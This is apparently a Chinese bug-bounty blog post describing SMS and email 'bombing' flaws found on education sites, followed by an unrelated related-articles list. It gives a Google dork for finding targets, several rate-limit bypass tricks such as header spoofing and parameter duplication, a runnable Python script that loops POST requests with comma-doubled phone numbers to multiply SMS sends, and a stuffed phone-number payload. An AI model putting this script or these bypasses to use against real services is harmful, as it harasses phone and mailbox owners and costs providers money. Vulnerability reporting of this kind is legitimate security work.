记两次简单的edusrc挖掘

简介: 记两次简单的edusrc挖掘

原理

服务器程序并未对请求次数进行限制,或者是限制不严格导致,导致可以大量重复发送短信验证码。会对其他用户造成骚扰或使厂商的运营商短信费用的增加,造成损失。


绕过思路:

空格,大小写绕过,修改cookie,修改返回值,多次叠加参数绕过,修改XXF头绕过等可参考,也可配合并发工具Turbo Intruder进行测试


Google语法:

inurl:edu.cn 验证码


短信hongzha案例:

我们日常发验证码页面抓包,点击发送。成功发送一条短信,当再次点击时候,已经返回为空了。这里我们猜测可能是那一部分做了限制。


##审核不让配图啊 这次没图了

我们尝试双写,发现可以绕过,而且发送了两条短信,再次发送的时候已经没有反应了。

当时有两种思路:一是写一个Python脚本进行post循环发包,循环的过程中后面再双写一遍;二是直接写很多遍手机号用逗号隔开。


第一种方法 Python脚本

# -*- coding: utf-8 -*-
'''
@Time    : 2023-03-10 9:01
@Author  : whgojp
@File    : attack.py
#使用request  post发包
'''
import requests
from lxpy import copy_headers_dict
 
url = "www.xxx.com"
request_header = """
#这里是请求头参数 字符串直接复制过来就行
"""
header = copy_headers_dict(request_header)
# print(header)
mobileNumber = xxxxxxxxxxx        #这里填手机号
totalMessageAttack = 0
for i in range(5):      #循环次数自己可以设置 循环五次就是:1+2+3+4+5=19
    totalMessageAttack += i
    mobileNumber = str(mobileNumber) + ',,'+str(format(mobileNumber))
    payload = dict(sjhm=mobileNumber)
    try:
        response = requests.post(url,headers=header,verify=False,data=payload) #verify=False表示忽略对 SSL 证书的验证,但是仍然会有警告
        print(response.status_code)
    except Exception as e:
        print("出错了啊:"+str(e))
 
print("一共发送了"+str(totalMessageAttack)+"次短信!")
 


第二种方法:


mobile=xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,


邮箱hongzha案例:

某学习注册新用户窗口,抓包发送到intruder模块
设置intruder payload位置
尝试发送六十条进行测试:


emmm 短信hongzha 好像不收

相关文章
|
Linux
KaLi Linux 安装sougou输入法
KaLi Linux 安装sougou输入法,操作在下方!!!
961 1
|
消息中间件 Web App开发 JavaScript
Node.js【简介、安装、运行 Node.js 脚本、事件循环、ES6 作业队列、Buffer(缓冲区)、Stream(流)】(一)-全面详解(学习总结---从入门到深化)
Node.js【简介、安装、运行 Node.js 脚本、事件循环、ES6 作业队列、Buffer(缓冲区)、Stream(流)】(一)-全面详解(学习总结---从入门到深化)
3469 0
|
5月前
|
机器学习/深度学习 并行计算 PyTorch
英伟达新一代GPU架构(50系列显卡)PyTorch兼容性解决方案
本文记录了在RTX 5070 Ti上运行PyTorch时遇到的CUDA兼容性问题,分析其根源为预编译二进制文件不支持sm_120架构,并提出解决方案:使用PyTorch Nightly版本、更新CUDA工具包至12.8。通过清理环境并安装支持新架构的组件,成功解决兼容性问题。文章总结了深度学习环境中硬件与框架兼容性的关键策略,强调Nightly构建版本和环境一致性的重要性,为开发者提供参考。
2439 64
英伟达新一代GPU架构(50系列显卡)PyTorch兼容性解决方案
|
11月前
|
存储 NoSQL 大数据
大数据中数据存储 (Data Storage)
【10月更文挑战第17天】
1276 2
|
SQL 运维 安全
WAF如何防御SQL注入?
【7月更文挑战第25天】WAF如何防御SQL注入?
840 9
|
JavaScript Apache
Vue升级及版本不匹配解决_Vue packages version mismatch:
Vue升级及版本不匹配解决_Vue packages version mismatch:
382 1
|
Linux 网络安全 数据处理
【专栏】Linux下的xxd命令是一个强大的二进制数据处理工具,用于十六进制转储和数据分析,我教你应该如何使用!
【4月更文挑战第28天】Linux下的xxd命令是一个强大的二进制数据处理工具,用于十六进制转储和数据分析。它可以显示文件的十六进制和ASCII表示,方便查看内容、分析数据结构和比较文件。xxd支持指定输出格式、写入文件、数据提取和转换等功能。在网络安全分析、程序调试和数据恢复等领域有广泛应用。通过掌握xxd,用户能更深入理解和处理二进制数据。
1307 0
|
存储 缓存 算法
高并发架构设计三大利器:缓存、限流和降级
软件系统有三个追求:高性能、高并发、高可用,俗称三高。本篇讨论高并发,从高并发是什么到高并发应对的策略、缓存、限流、降级等。
3450 6
|
人工智能 安全 PHP
PHP特性之CTF中常见的PHP绕过
PHP特性之CTF中常见的PHP绕过
975 1
|
安全 网络安全
[网络安全]sqli-labs Less-18 解题详析
[网络安全]sqli-labs Less-18 解题详析
456 0